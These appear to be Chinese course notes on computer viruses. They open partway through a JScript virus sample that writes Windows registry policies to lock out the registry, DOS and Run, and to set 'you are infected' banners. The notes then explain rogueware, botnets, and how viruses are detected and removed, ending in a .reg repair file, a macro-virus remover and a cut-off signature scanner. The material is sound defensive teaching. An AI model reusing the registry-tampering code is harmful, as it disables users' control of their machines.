"REG_DWORD"); //禁止注册表 Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools", "00000001", "REG_DWORD"); //禁止运行DOS程序 Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\Disabled", "00000001", "REG_DWORD"); //禁止进入DOS模式 Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\NoRealMode", "00000001", "REG_DWORD"); //开机提示窗口标题 Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption", "你已经中毒…"); //开机提示窗口信息 Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText", "你已经中毒…"); //设置IE标题 Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title","你已经中毒…"); Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "你已经中毒…"); } } catch(e) {} # 捕获错误并跳过 } catch(e) {} } //初始化函数 function init() { setTimeout("f()", 1000); # 1s之后再运行f()函数 } //开始执行 init();

这病毒做了哪些操作?IE受到哪些影响?运行按钮(RUN键)有没有收到影响?

病毒利用了下面这段JavaScript代码修改了HKLM\SOFTWARE\Microsoft\Internet Explorer\Main\ 和 HKCU\Software\Microsoft\Internet Explorer\Main\ 中的Window Title这个键的值。同时,病毒还修改了用户的许多IE设置,如消除运行(RUN)按钮、消除关闭按钮、消除注销按钮、隐藏桌面、隐藏盘符、禁止注册表等。

流氓软件定义:

流氓软件尚无标准定义。它们往往采用特殊手段频繁弹出广告窗口、危及用户隐私,严重干扰用户的日常工作、数据安全和个人隐私。第一种定义:流氓软件是指具有一定的实用价值但具备电脑病毒和黑客的部分行为特征的软件。它处在合法软件和电脑病毒之间的灰色地带,会使你无法卸载、并强行弹出广告和窃取用户的私人信息等危害。第二种定义:流氓软件是介于病毒和正规软件之间的软件,同时具备正常功能(下载、媒体播放等)和恶意行为(弹广告、开后门),给用户带来实质危害。它们往往采用特殊手段频繁弹出广告窗口,危及用户隐私,严重干扰用户的日常工作、数据安全和个人隐私。

总之,流氓软件是中国大陆对网络上散播的符合如下条件的软件的一种称呼:采用多种社会和技术手段,强行或者秘密安装,并抵制卸载;强行修改用户软件设置,如浏览器主页,软件自动启动选项,安全选项;强行弹出广告,或者其他干扰用户占用系统资源行为;有侵害用户信息和财产安全的潜在因素或者隐患;未经用户许可,或者利用用户疏忽,或者利用用户缺乏相关知识,秘密收集用户个人信息、秘密和隐私。

流氓软件特征:

强迫性安装:不经用户许可自动安装;不给出明显提示,欺骗用户安装;反复提示用户安装,使用户不胜其烦而不得不安装等。无法卸载:正常手段无法卸载;无法完全卸载;不提供卸载程序,或者提供的卸载程序不能用等。干扰正常使用:频繁弹出广告窗口;引导用户使用某功能等。具有病毒和黑客特征:窃取用户信息;耗费机器资源等。

僵尸网络定义:

僵尸网络 Botnet 是指采用一种或多种传播手段,将大量主机感染bot程序(僵尸程序)病毒,从而在控制者和被感染主机之间所形成的一个可一对多控制的网络。 攻击者通过各种途径传播僵尸程序感染互联网上的大量主机,而被感染的主机将通过一个控制信道接收攻击者的指令,并执行该指令。例:GOT

僵尸网络的构成:

Bot是Robot的缩写,是指实现恶意控制功能的程序代码。僵尸计算机就是被植入了Bot程序的计算机。控制服务器是指控制和通信的中心服务器。 僵尸网络是被攻击者集中控制的一群计算机。攻击者可以利用僵尸网络发起大规模的网络攻击,如DDOS、海量垃圾邮件等。此外,僵尸计算机所保存的信息,如账户、口令等也都可以被控制者轻松获得。

僵尸网络的特点:

分布性:僵尸网络是个具有一定分布性的逻辑网络,它不具有物理拓扑结构,随着Bot程序的不断传播而不断有新的僵尸计算机加入进网络中来。恶意传播:僵尸网络采用了一定的恶意传播手段形成,如主动漏洞攻击、恶意邮件等传播手段。一对多控制:最主要特点,一对多地进行控制,传达命令并执行相同的恶意行为,如DDOS攻击等。使得攻击者能够以低廉的代价高效地控制大量的资源为其服务。所以深受黑客青睐。

僵尸网络与木马结构的相同点和不同点?

相同点:僵尸网络和木马都能够实现远程监视和控制。不同点:僵尸网络能够一对多控制,而木马是一对一控制;僵尸网络的服务器是主控机器,而木马的服务器是感染木马的电脑。

僵尸网络工作过程(传播,加入,控制):

传播阶段:传播手段包括:①即时通信软件。利用即时通信软件向好友列表发送僵尸程序链接,并通过社会工程学技巧诱骗其点击,从而进行感染。②邮件病毒。通过发送大量的邮件病毒传播自身,表现为在邮件附件中携带僵尸程序以及在邮件内容中包含下载Bot程序的链接,并通过社会成功学技巧诱使攻接收者执行附件或打开链接,或是利用邮件客户端的漏洞自动执行。③主动攻击漏洞。攻击目标系统所存在的漏洞获得访问权。如攻击者手动地利用一系列黑客工具和脚本进行攻击,获得权限后下载Bot程序执行。攻击者还会将僵尸程序和蠕虫技术结合,使Bot程序能够进行自动传播。④恶意网站脚本。在提供Web服务的网站中,在HTML页面绑定恶意的脚本,访问这些网站时就会执行恶意脚本,使得Bot程序下载到主机上,并被自动执行。⑤特洛伊木马。伪装成有用的软件,在网站、FTP服务器、P2P网络中提供,诱骗用户下载并执行。加入阶段:每一台被感染主机都会随着隐藏在自身上的Bot程序的发作而加入到僵尸网络中去,加入的方式根据控制方式和通信协议的不同而有所不同。如在基于IRC协议的Botnet中,感染Bot程序的主机会登录到指定的服务器和频道中去,在登录成功后,在频道中等待控制者发来的恶意指令。 控制阶段 – 攻击者通过中心服务器发送预先定义好的控制指令,让僵尸计算机执行恶意行为。

僵尸网络危害:

DDOS攻击。攻击者可以向自己控制的所有僵尸计算机发送指令,让它们在特定的时间同时开始连续访问特定的网络目标,从而达到DDOS的目的。发送垃圾邮件。一些Bots会设立代理,这样就可以利用Botnet发送大量的垃圾邮件,而且发送者可以很好地隐藏自身的IP信息。窃取秘密。控制者可从僵尸主机中窃取各种敏感信息和秘密,如个人账号、机密数据等。同时Bot程序能够使用sniffer观测感兴趣的网络数据,从而获得网络流量中的秘密。滥用资源。可利用Botnet从事各种需要耗费网络资源的活动,使用户的网络性能受到影响,甚至带来经济损失。 第十章(上) 计算机病毒的检测清除查杀

什么是信息保障(PDRR)?

保护(Protect):采用可能采取的手段保障信息的保密性、完整性、可用性、可控性和不可否认性。

检测(Detect):利用高技术提供的工具检查系统存在的可能提供给黑客攻击、白领犯罪、病毒泛滥脆弱性。

反应(React):对危及安全的事件、行为、过程及时作出响应处理,杜绝危害的进一步蔓延扩大,力求系统尚能提供正常服务。

恢复(Restore):一旦系统遭到破坏,尽快恢复系统功能,尽早提供正常的服务。

计算机病毒防治技术可概括成五个方面:

①检测②清除③预防(被动防治)④免疫(主动防治)⑤数据备份及恢复 检测

**用什么来检测?**染毒后的特征

常用方法:①比较法②校验和③扫描法④行为监测法⑤行为感染试验法⑥虚拟执行法⑦陷阱技术⑧先知扫描⑨分析法

比较法:

比较法是用原始或正常的对象与被检测的对象进行比较。因为缺少万能程序,手工比较法是发现新病毒的必要方法。比较法分类: 注册表比较法:病毒常利用注册表进行一些工作,监控注册表的变化是诊断病毒的有效方法之一。监控工具如RegMon。弱点:正常程序也操作注册表文件比较法:通常比较文件的长度和内容两个方面。工具:FileMon;弱点:长度和内容的变化有时是合法的;某些病毒可保证宿主文件长度不变。内存比较法:主要针对驻留内存型病毒。病毒驻留内存必须在内存中是申请一定的空间,并对空间进行占用、保护。判断驻留特征。可以判定是否有病毒,但无法判定病毒类别。中断比较法:中断技术是传统病毒的核心技术,但随着操作系统的发展,已被放弃。将正常系统的中断向量与有毒系统的中断向量进行比较。 比较法的优劣势: 优:简单。无需专用软件。劣:无法确认病毒的种类和名称;依赖备份来比较。

校验和法:

定义:首先,计算正常文件内容的校验和并且将该校验和写入某个位置保存。然后,在每次使用文件前或文件使用过程中,定期地检查文件现在内容算出的校验和与原来保存的校验和是否一致,从而可以发现文件是否感染,这种方法叫校验和法,它既可发现已知病毒又可发现未知病毒。优缺点: 优点:方法简单;能发现未知病毒;被查文件的细微变化也能发现缺点:必须预先记录正常态的校验和;会误报警(正常程序也会引起文件内容的改变);不能识别病毒名称;程序执行附加延迟;不能对付隐蔽性病毒。

特征码扫描法:

**定义:**扫描法是用每一种病毒体含有的特定字符串(Signature)对被检测的对象进行扫描。如果在被检测对象内部发现了某一种特定字符串,就表明发现了该字符串所代表的病毒。扫描器构成:特征串(Signature);扫描算法(Scanner)选择代码串的规则是:①代码串不应含有病毒的数据区,数据区是会经常变化的。②在保持唯一性的前提下,应尽量使特征代码长度短些,以减少时间和空间开销。③代码串一定要在仔细分析了程序之后才能选出最具代表性的,足以将该病毒区别于其他病毒和该病毒的其他变种的代码串。④特征串必须能将病毒与正常的非病毒程序区分开。作为**最普遍的方法,其优点**包括:(1)当特征串选择得很好时,病毒检测软件让计算机用户使用起来方便快速,对病毒了解不多的人也能用它来发现病毒;(2)不用专门软件,用编辑软件也能用特征串扫描法去检测特定病毒;(3)可识别病毒的名称;(4)误报警率低;(5)依据检测结果,可做杀毒处理。缺点:(1)当被扫描的文件很长时,扫描所花时间也较多。(2)不容易选出合适的特征串,有时会发出假警报。(3)新病毒的特征串未加入病毒代码库时,老版本的扫毒程序无法识别出新病毒。(4)怀有恶意的计算机病毒制造者得到代码库后,会很容易地改变病毒体内的代码,生成一个新的变种,使扫描程序失去检测它的能力。(5)容易产生误警报。只要正常程序内带有某种病毒的特征串,即使该代码段已不可能被执行,而只是被杀死的病毒体残余,扫描程序仍会报警。(6)不易识别变异类病毒。(7)搜集已知病毒的特征代码,费用开销大。(8)在网络上使用效率低。实际使用中,需要不断地对特征码库进行扩充,一旦捕捉到计算机病毒,经过提取特征码并加入到库中,就能使查毒程序查杀出该新病毒。使用查杀程序不需要专业知识,但是特征码库的维护人员,即计算机病毒分析人员需要专业知识。提取病毒特征码需要掌握足够的病毒分析知识。

感染实验法:

这种方法的原理是利用了病毒的最重要的基本特征:感染特性。病毒都会进行感染。运行可疑系统中的程序后,再运行一些确切知道不带毒的正常程序,然后观察这些正常程序的长度和校验和,如何发现有变化,则判断染毒。

检测未知引导型病毒的感染实验法:

a.先用一张软盘,做一个清洁无毒的系统盘,用DEBUG程序,读该盘的BOOT扇区进入内存,计算其校验和,并记住此值。同时把正常的BOOT扇区保存到一个文件中。上述操作必须保证系统环境是清洁无毒的 b.在这张实验盘上拷贝一些无毒的系统应用程序。 c.启动可疑系统,将实验盘插入可疑系统,运行实验盘上的程序,重复一定次数。 d.再在干净无毒机器上,检查实验盘的BOOT扇区,可与原BOOT扇区内容比较,如果实验盘BOOT扇区内容已改变,可以断定可疑系统中有引导型病毒。

检测未知文件型病毒的感染实验法:

a.在干净系统中制作一张实验盘,上面存放一些应用程序,这些程序应保证无毒,应选择长度不同,类型不同的文件(既有COM型又有EXE型)。记住这些文件正常状态的长度和校验和。 b.在实验盘上制作一个批处理文件,使盘中程序在循环中轮流被执行数次 c.将实验盘插入可疑系统,执行批处理文件,多次执行盘中程序。 d.将实验盘放人干净系统,检查盘中文件的长度和校验和,如果文件长度增加,或者校验和变化,则可断定系统中有病毒。

Windows中的病毒的感染实验法(e.g.广外女生):

① 首先打开RegSnap,从file菜单选new,然后单击OK按钮,对当前干净的注册表以及系统文件做一个记录。如果木马修改了其中某项,就可以分析出来了。备份完成之后把它存为Regsnp1.rgs。 ② 在计算机上运行感染了“广外女生”病毒的文件,例如双击gdufs.exe,然后等一小会儿。如果此时发现正在运行着的“天网防火墙”或“金山毒霸”自动退出,就很可能木马已经驻留在系统中了。 ③ 重新打开RegSnap,从file菜单选new,然后单击OK按钮,把这次的snap结果存为Regsnp2.rgs。 ④ 从RegSnap的file菜单选择Compare,在First snapshot中选择打开Regsnp1.rgs,在Second snapshot中选择打开Regsnp2.rgs,并在下面的单选框中选中Show modified key names and key values,然后单击OK按钮。这样RegSnap就开始比较两次记录有什么区别了,当比较完成时会自动打开分析结果文件Regsnp1-Regsnp2.htm。 ⑤ 为找出木马的驻留位置以及在注册表中的启动项,看Regsnp1-Regsnp2.htm,若显示如下信息: Summary info: Deleted keys: 0 Modified keys: 15 New keys : 1 File list in C:\WINNT\System32\*.* Summary info: Deleted files: 0 Modified files: 0 New files : 1 New files diagcfg.exe Size: 97 792 , Date/Time: 2001年07月01日 23:00:12 … Total positions: 1 则表明两次记录中,没有删除注册表键,修改了15处注册表,新增加了一处注册表键值,在C:\WINNT\System32\目录下面新增加了一个文件diagcfg.exe。这个文件非常可疑,因为在比较两次系统信息之间只运行了“广外女生”这个木马,所以有理由相信diagcfg.exe就是木马留在系统中的后门程序。这时打开任务管理器,可以发现其中有一个diagcfg.exe的进程,这就是木马的原身。但这个时候千万不要删除diagcfg.exe,否则系统就无法正常运行了。 木马一般都会在注册表中设置一些键值以便以后在系统每次重新启动时能够自动运行。从Regsnp1-Regsnp2.htm中可以看到哪些注册表项发生了变化,此时若看到: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command\@ Old value: String: ″″%1″ %*″ New value: String: ″C:\WINNT\System32\diagcfg.exe ″%1″ %*″ 则说明这个键值由原来的″%1″ %*被修改成了C:\WINNT\System32\DIAGCFG.EXE ″%1″ %*,这就使得以后每次运行任何可执行文件时都要先运行C:\WINNT\System32\ diagcfg.exe这个程序。 ⑥ 找出木马监听的端口。使用fport可以轻松的实现这一点。在命令行中运行fport.exe,可以看到: C:\tool\fport>fport FPort v1.33 TCP/IP Process to Port Mapper Copyright 2000 by Foundstone, Inc. http://www.foundstone.com Pid ProcessPort Proto Path 584 tcpsvcs-> 7TCP C:\WINNT\System32\tcpsvcs.exe 584 tcpsvcs -> 9 TCP C:\WINNT\System32\tcpsvcs.exe 584 tcpsvcs -> 13 TCP C:\WINNT\System32\tcpsvcs.exe 584 tcpsvcs -> 17 TCP C:\WINNT\System32\tcpsvcs.exe 584 tcpsvcs -> 19 TCP C:\WINNT\System32\tcpsvcs.exe 836 inetinfo -> 80 TCP C:\WINNT\System32\inetsrv\inetinfo.exe 408 svchost -> 135 TCP C:\WINNT\system32\svchost.exe 836 inetinfo -> 443 TCP C:\WINNT\System32\inetsrv\inetinfo.exe 8System -> 445 TCP 464 msdtc -> 1025 TCP C:\WINNT\System32\msdtc.exe 684 MSTask -> 1026 TCP C:\WINNT\system32\MSTask.exe 584 tcpsvcs -> 1028 TCP C:\WINNT\System32\tcpsvcs.exe 836 inetinfo -> 1029 TCP C:\WINNT\System32\inetsrv\inetinfo.exe 8System -> 1030 TCP 464 msdtc -> 3372 TCP C:\WINNT\System32\msdtc.exe 1176 DIAGCFG -> 6267 TCP C:\WINNT\System32\DIAGCFG.EXE /*here!!!!*/ 836 inetinfo -> 7075 TCP C:\WINNT\System32\inetsrv\inetinfo.exe 584 tcpsvcs -> 7 UDP C:\WINNT\System32\tcpsvcs.exe 584 tcpsvcs -> 9 UDP C:\WINNT\System32\tcpsvcs.exe 584 tcpsvcs -> 13 UDP C:\WINNT\System32\tcpsvcs.exe 584 tcpsvcs -> 17 UDP C:\WINNT\System32\tcpsvcs.exe 584 tcpsvcs -> 19 UDP C:\WINNT\System32\tcpsvcs.exe 584 tcpsvcs -> 68 UDP C:\WINNT\System32\tcpsvcs.exe 408 svchost -> 135 UDP C:\WINNT\system32\svchost.exe 8 System -> 445 UDP 228 services -> 1027 UDP C:\WINNT\system32\services.exe 836 inetinfo -> 3456 UDP C:\WINNT\System32\inetsrv\inetinfo.exe

虚拟执行法:

为了检测多态性病毒,提出了虚拟执行法。它是一种软件分析器,用软件方法来模拟和分析程序的运行。如果发现隐蔽性病毒或多态性病毒嫌疑时,启动虚拟执行模块,监视病毒的运行,待病毒自身的密码译码以后,再运用特征代码法来识别病毒的种类。【和蜜罐的区别?】

分析法:

使用分析法需要专业技术人员。分析法是反病毒不可或缺的重要技术。 分析法的目的(工作顺序)在于:①确认被观察的磁盘引导区和程序中是否含有病毒。②确认病毒的类型和种类,判定其是否是一种新病毒。③搞清楚病毒体的大致结构,提取特征识别用的字符串或特征字,用于增添到病毒代码库供扫描和识别程序用。④详细分析病毒代码,为制定相应的反病毒措施制定方案。

计算机病毒诊断原理总结:

利用原始备份和被检测程序相比较的方法适合于不需专用软件,可以发现异常情况的场合,是一种简单的基本的病毒检测方法;扫描特征串和识别特征字的方法适用于制作成查病毒软件的方式供广大PC机用户使用,方便而又迅速,但对新出现的病毒会出现漏检的情况,需要与分析和比较法相结合;分析病毒的方法主要是由专业人员识别病毒,研制反病毒系统时使用,要求较多的专业知识,是反病毒研究不可缺少的方法。 检测

分类:

手工检测:易遭病毒攻击和修改的内存及磁盘的有关部分进行检查,通过和正常情况下的状态进行对比分析,来判断是否染病毒。【可以剖析新病毒,但不能普及】自动检测:通过一些自动诊断软件来判断系统是否有毒的方法。【易于普及,但有滞后性】

自动诊断的源码分析:

自动诊断病毒(查毒)的最简单方法——特征码扫描法

自动诊断程序至少要包括两个部分:

病毒特征码(Virus Pattern\ Virus Signature)库:意义重大;获得方法:手工,自动扫描引擎(Scan Engine):杀毒软件的精华部分;考虑杀毒速度;待杀毒文件的类型;支持的硬盘格式;其他特殊技术:虚拟执行,行为识别等等

**高速模式匹配:**查找的速度是评价一个查毒引擎的关键因素之一。

算法种类:单模式匹配算法:KMP\QS\BM等; 多模式匹配算法:DFSA\基于二叉树的算法

问题描述:设待处理(动态)文本为 T = t 1 t 2 . . . t n T=t_1t_2...t_n T=t1​t2​...tn​ – 单模式匹配是从文本中查找一个模式串 P i = x 1 x 2 . . . P_i=x_1x_2... Pi​=x1​x2​... – 多模式匹配就是通过一次查找从文本中发现多个 P 1 , P 2 , . . . , P q P_1,P_2,...,P_q P1​,P2​,...,Pq​

清除

为什么清除计算机病毒比查找计算机病毒在原理上要难得多?

如果要清除病毒,不仅要知道病毒的特征码,还要知道计算机病毒的感染方式和详细的感染步骤。

计算机病毒的清除:

清除病毒:将感染病毒的文件中的病毒模块摘除,并使之恢复为可以正常使用的文件的过程称为病毒清除;判断:a.并不是所有的染毒文件都可以安全地清除掉病毒。b.不是所有文件在清除病毒后都能恢复正常。c.不论采用手工还是使用专业杀毒软件清除病毒,都是危险的。(都对)杀毒的不安全因素:清除过程可能破坏文件;有的需要格式化才能清除。

引导型病毒的清除原理:

硬盘主引导扇区染毒,是可以修复的。硬盘、软盘BOOT扇区染毒也可以修复。引导型病毒如果将原主引导扇区或BOOT扇区覆盖式写入根目录区,被覆盖的根目录区完全损坏,不可能修复。如果引导型病毒将原主引导扇区或BOOT扇区覆盖式写入第一FAT表时,第二FAT表未破坏,则可以修复。引导型病毒占用的其他部分存储空间,一般都采用“坏簇”技术和“文件结束簇”技术占用。这些被占用空间也是可以收回的。

文件型病毒的消毒原理:

覆盖型文件病毒清除:该型病毒是一种破坏型病毒,由于该病毒硬性地覆盖掉了一部分宿主程序,使宿主程序被破坏,即使把病毒杀掉,程序也已经不能修复。对覆盖型病毒感染的文件只能将其彻底删除,没有挽回原文件的余地。

覆盖型以外的文件病毒:原则上都可以被清除干净,根据感染的逆过程来清除。

**如果染毒的文件有备份,如何清除病毒?**复制备份文件,即可恢复原文件,不需要专门清除。

杀毒软件来清除病毒不能保证完全恢复原有的程序功能,有可能造成在清除病毒后文件反而不能执行的局面。 因此平日备份文件方能万无一失。

某些病毒会破坏系统数据,比如目录结构和FAT表,因此在清除完病毒之后,还要进行系统维护工作。

清除交叉感染病毒:

交叉感染定义:有时一台计算机内同时潜伏着几种病毒,当一个健康程序在这个计算机上运行时,会感染多种病毒,引起交叉感染。清除的关键:搞清楚多种病毒的感染顺序,按感染先后次序的逆序清除,否则会破坏程序。

image-20211217113455615image-20211217113527380

这两个相同,

病毒感染的顺序是?感染顺序:病毒1 —>病毒2 —>病毒3运行染毒程序时,执行顺序是:病毒3 —>病毒2 —>病毒1 —>宿主程序杀毒时的顺序是? A:在杀毒时: 病毒3 —>病毒2 —>病毒1

【代码】

例如,禁止3721 REGEDIT5 #B83FC273-3522-4CC6-92EC-75CC86678DA4 3721's CLSID [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility{B83FC273-3522-4CC6-92EC-75CC86678DA4}] "Compatibility Flags"=dword:00000400 REGEDIT4 //修复RUN按钮 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer] "NoRun"=dword:00000000 //修复关闭按钮 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer] "NoClose"=dword:00000000 //修复注销按钮 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer] "NoLogOff"=dword:00000000 //取消隐藏盘符 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer] "NoDrives"=dword:00000000 //取消禁止注册表 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \System] "DisableRegistryTools"=dword:00000000 //取消禁止运行DOS程序 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \WinOldApp] "Disabled"=dword:00000001 //取消禁止进入DOS模式 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \WinOldApp] "NoRealMode"=dword:00000001 //取消开机提示窗口标题 [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon] "LegalNoticeCaption"="" //取消开机提示窗口信息 [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon] "LegalNoticeText"="" //重设IE标题 [HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main] "Window Title"="Microsoft Internet Explorer" [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main] "Window Title"="Microsoft Internet Explorer" //重置IE起始页 [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main] "Start Page"=""

宏病毒查杀:

杀毒和病毒入侵的原理完全相同 –查找感染标记 —〉用新宏代替旧宏 •以Maker病毒为例 •在Normal.dot的“ThisDocument”中加入以下代码:

Private Sub Document_Open() Dim SaveDocument, DocumentInfected As Boolean # 初始化变量 Dim ad As Object Dim strVirusName As String Dim intVBComponentNo As Integer '病毒感染标记(如果要扫描自己,用"&"连接字符串可以避免误判自己) '代码重用时,针对不同的病毒可修改以下两句 Const Marker = "〈- this is another" & " marker!" strVirusName = "Marker" '将病毒所作的安全修改回来 Options.VirusProtection = True '可能存在的宏代码数目 intVBComponentNo = ActiveDocument.VBProject.VBComponents.Count For i = 1 To intVBComponentNo '获取当前激活文档的宏代码 Set ad = ActiveDocument.VBProject.VBComponents.Item(i) '是否包含特征字符串 DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000) # 返回bool '如果包含病毒特征字符串 If DocumentInfected = True Then SaveDocument = ActiveDocument.Saved # 更改完是否被保存 '如果病毒为追加感染,请修改这一句。注意这里为全删除宏 ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines ActiveDocument.VBProject.VBComponents.Remove (ad) MsgBox ActiveDocument.FullName & "被" & strVirusName & _ "宏病毒感染.已去除!", vbInformation, "By:Ray.Deng" End If Next i If DocumentInfected = True & SaveDocument = True Then ActiveDocument.Save '如果是成批消毒,建议加上这一句,自动关闭打开的文件 ActiveDocument.Close End If End Sub 编好后存盘,然后查找所有doc和dot文件并执行打开操作。

简单的查毒程序

–根据病毒特征码发现特定病毒(CIH和Klez)。 –VirScan从程序入口点开始查找病毒特征码。 –对抗Klez病毒会卸载杀毒引擎的功能。 –CIH病毒不会动态地改变程序入口点处的标记,我们可以自接从入口点处开始。 –Klez病毒会动态的改变程序入口点处的前16个字节,所以,VirScan跳过了前16个字节。

首先,编写一个普通的DLL,该DLL将导出一个名字为DontAllowForDeletion的函数。 BOOL WINAPI DontAllowForDeletion(LPSTR Str) { HANDLE hFile; if((hFile=CreateFile(Str, GENERIC_READ, //指定读访问权.可以从文件中读取数据,并且移动文件指针 FILE_SHARE_READ, //后续的仅仅请求读访问权的打开操作将会成功. NULL, //该句柄不可继承 OPEN_EXISTING, //打开一个文件,如果文件不存在函数将会失败.如查你使用CreateFile函数为设备装载控制台. FILE_ATTRIBUTE_READONLY, //这个文件只可读取.程序可以读文件,但不可以在上面写入内容,也不可删除 NULL //用于复制文件句柄,此处不复制 )) ==INVALID_HANDLE_VALUE){//如果函数成功,返回一个打开的指定文件的句柄;如果函数失败,返会值会是INVALID_HANDLE_VALUE. return FALSE; } return TRUE; } 然后,在VirScan的启动时,调用DLL的导出函数,实现对VirScan程序的保护。 DontAllowDeletion = (DLLFUNC *)GetProcAddress(hLib, "DontAllowForDeletion"); DontAllowDeletion(TmpPath)); //TmpPath为VirScan在系统中的物理位置 查找前需要定位文件、定位PE入口 //查找Klez SetFilePointer(hFile, pCodeBytes+16, NULL, FILE_BEGIN); ReadFile(hFile, pBytes, sizeof(KlezSignature), &ReadBytes, NULL); for(i=0; i


【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有